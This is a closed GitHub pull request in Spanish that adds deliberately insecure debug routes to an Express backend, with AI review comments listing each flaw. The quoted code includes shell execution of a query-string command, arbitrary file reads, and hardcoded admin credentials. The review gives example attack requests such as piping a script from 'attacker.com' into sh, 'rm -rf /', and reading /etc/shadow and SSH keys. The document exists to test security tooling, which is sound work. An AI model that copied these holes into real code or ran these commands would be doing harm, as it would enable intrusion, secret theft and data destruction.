Skip to content

Demo: backend con fallos de seguridad evidentes#40

Closed
midudev wants to merge 2 commits into
mainfrom
demo/backend-obvious-security-failures
Closed

Demo: backend con fallos de seguridad evidentes#40
midudev wants to merge 2 commits into
mainfrom
demo/backend-obvious-security-failures

Conversation

@midudev
Copy link
Copy Markdown
Owner

@midudev midudev commented May 20, 2026

Summary

  • Añade rutas de debug deliberadamente inseguras al backend para provocar hallazgos de seguridad evidentes.
  • Incluye ejecución de comandos desde query string, lectura arbitraria de archivos y credenciales/token hardcodeados.
  • La intención es validar revisiones automáticas y workflows de seguridad; no debe fusionarse como funcionalidad real.

Test plan

  • pnpm --filter @jscamp-ci/backend lint
  • pnpm --filter @jscamp-ci/backend build
  • pnpm --filter @jscamp-ci/backend test

Copilot AI review requested due to automatic review settings May 20, 2026 18:00
@claude
Copy link
Copy Markdown

claude Bot commented May 20, 2026

Claude finished @midudev's task in 1m 18s —— View job


Revisión de Seguridad — PR #40

  • Leer el diff y los archivos modificados
  • Analizar hallazgos de seguridad
  • Publicar resultado

⚠️ Nota: Los fallos son declaradamente intencionales según el autor. La revisión documenta cada hallazgo como si fuera una PR real lista para producción.


🔴 CRÍTICO

1. Ejecución remota de comandos (RCE) — GET /api/debug/run

Archivo: 09-ci-cd/projects/backend/src/app.js:137-155

const command = req.query.command ?? "whoami";
exec(command, (error, stdout, stderr) => { ... });

El parámetro command procedente de la query string se pasa directamente a child_process.exec sin ninguna validación, lista blanca ni autenticación. Un atacante puede ejecutar comandos arbitrarios con los permisos del proceso Node:

GET /api/debug/run?command=cat+/etc/shadow
GET /api/debug/run?command=curl+attacker.com/payload+|+sh
GET /api/debug/run?command=rm+-rf+/

No hay autenticación, rate limiting ni restricción de red. OWASP A03:2021 — Injection | CVSS ~9.8


2. Path traversal / lectura arbitraria de archivos — GET /api/debug/read

Archivo: 09-ci-cd/projects/backend/src/app.js:157-162

const filePath = req.query.file ?? "/etc/passwd";
const contents = await readFile(filePath, "utf8");

El parámetro file se usa directamente en fs/promises.readFile sin ninguna restricción de ruta. Permite leer cualquier fichero accesible por el proceso:

GET /api/debug/read?file=../../.env
GET /api/debug/read?file=/proc/self/environ
GET /api/debug/read?file=/root/.ssh/id_rsa

Adicionalmente, el handler es async sin try/catch: en Express 4.x los errores de promesas en handlers no son capturados automáticamente, lo que puede causar crash de proceso o respuesta colgada. OWASP A01:2021 — Broken Access Control / Path Traversal | CVSS ~9.1


🟠 ALTO

3. Credenciales hardcodeadas en código fuente

Archivo: 09-ci-cd/projects/backend/src/app.js:4-8

const adminCredentials = {
  username: "admin",
  password: "admin123",
  apiToken: "sk_test_1234567890_insecure_demo_token",
};

Las credenciales y el token de administrador están en texto plano en el código y quedan permanentemente en el historial de git aunque se eliminen en un commit posterior. Cualquier persona con acceso al repositorio —incluyendo forks o mirrors— las conoce. OWASP A07:2021 — Identification & Authentication Failures / A02:2021 — Cryptographic Failures


4. Obtención trivial de token de admin — POST /api/debug/login

Archivo: 09-ci-cd/projects/backend/src/app.js:164-175

Las credenciales del punto anterior están en el mismo archivo, por lo que cualquier atacante que lea el código puede hacer directamente:

POST /api/debug/login  {"username":"admin","password":"admin123"}
→ {"token":"sk_test_1234567890_insecure_demo_token","role":"admin"}

Sin rate limiting ni bloqueo por intentos fallidos. OWASP A07:2021


🟡 MEDIO

5. Fuga de información en respuestas de error

Archivo: 09-ci-cd/projects/backend/src/app.js:142-145

El handler de RCE devuelve error.message y stderr al cliente en caso de error, revelando potencialmente rutas del sistema, versiones de software o mensajes internos del SO.


6. Sin autenticación ni restricción en rutas de debug

Los tres endpoints añadidos (/run, /read, /login) están registrados sin ningún middleware de autenticación, accesibles desde cualquier origen sin credenciales previas. No hay ninguna guardia de entorno (process.env.NODE_ENV !== 'production'), por lo que podrían desplegarse accidentalmente en producción.


Resumen ejecutivo

Severidad Hallazgo
🔴 Crítico RCE sin autenticación vía exec(req.query.command)
🔴 Crítico Path traversal sin restricciones vía readFile(req.query.file)
🟠 Alto Credenciales y token de admin hardcodeados en código fuente
🟠 Alto Token admin obtenible trivialmente por cualquiera con acceso al repo
🟡 Medio Fuga de información en mensajes de error
🟡 Medio Rutas de debug sin guardia de entorno ni autenticación

Esta PR no debe fusionarse a main ni a ninguna rama que pueda desplegarse. El propósito declarado (validar workflows de seguridad automáticos) se cumple correctamente: los seis hallazgos son reales y explotables.

Copy link
Copy Markdown

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR adds intentionally insecure “debug” endpoints to the backend Express app (command execution, arbitrary file reads, and hardcoded credentials/tokens) to trigger obvious security findings during automated reviews/security workflows.

Changes:

  • Adds hardcoded “admin” credentials and an API token constant in the app.
  • Exposes new /api/debug/* routes for running OS commands, reading server files, and returning a debug token.
  • Publishes the new debug endpoints in the / (root) endpoint documentation payload.

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

Comment on lines +6 to +10
const adminCredentials = {
username: "admin",
password: "admin123",
apiToken: "sk_test_1234567890_insecure_demo_token",
};
Comment on lines +137 to +155
app.get("/api/debug/run", (req, res) => {
const command = req.query.command ?? "whoami";

exec(command, (error, stdout, stderr) => {
if (error) {
return res.status(500).json({
command,
error: error.message,
stderr,
});
}

return res.json({
command,
stdout,
stderr,
});
});
});
Comment on lines +157 to +162
app.get("/api/debug/read", async (req, res) => {
const filePath = req.query.file ?? "/etc/passwd";
const contents = await readFile(filePath, "utf8");

res.type("text/plain").send(contents);
});
Comment on lines +165 to +166
const { username, password } = req.body;

Comment on lines +62 to +76
{
method: "GET",
path: "/api/debug/run?command=whoami",
description: "Ejecuta comandos del sistema desde la query string.",
},
{
method: "GET",
path: "/api/debug/read?file=/etc/passwd",
description: "Lee archivos del servidor desde una ruta enviada por el usuario.",
},
{
method: "POST",
path: "/api/debug/login",
description: "Valida credenciales hardcodeadas y devuelve un token de depuración.",
},
- Introduced a new GitHub Actions workflow that utilizes a matrix strategy to run tests for both frontend and backend across multiple operating systems and Node.js versions.
- The workflow includes steps for checking out the repository, setting up pnpm and Node.js, installing dependencies, and executing tests, enhancing the CI process.
@midudev midudev closed this May 21, 2026
@midudev midudev deleted the demo/backend-obvious-security-failures branch May 21, 2026 20:10
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants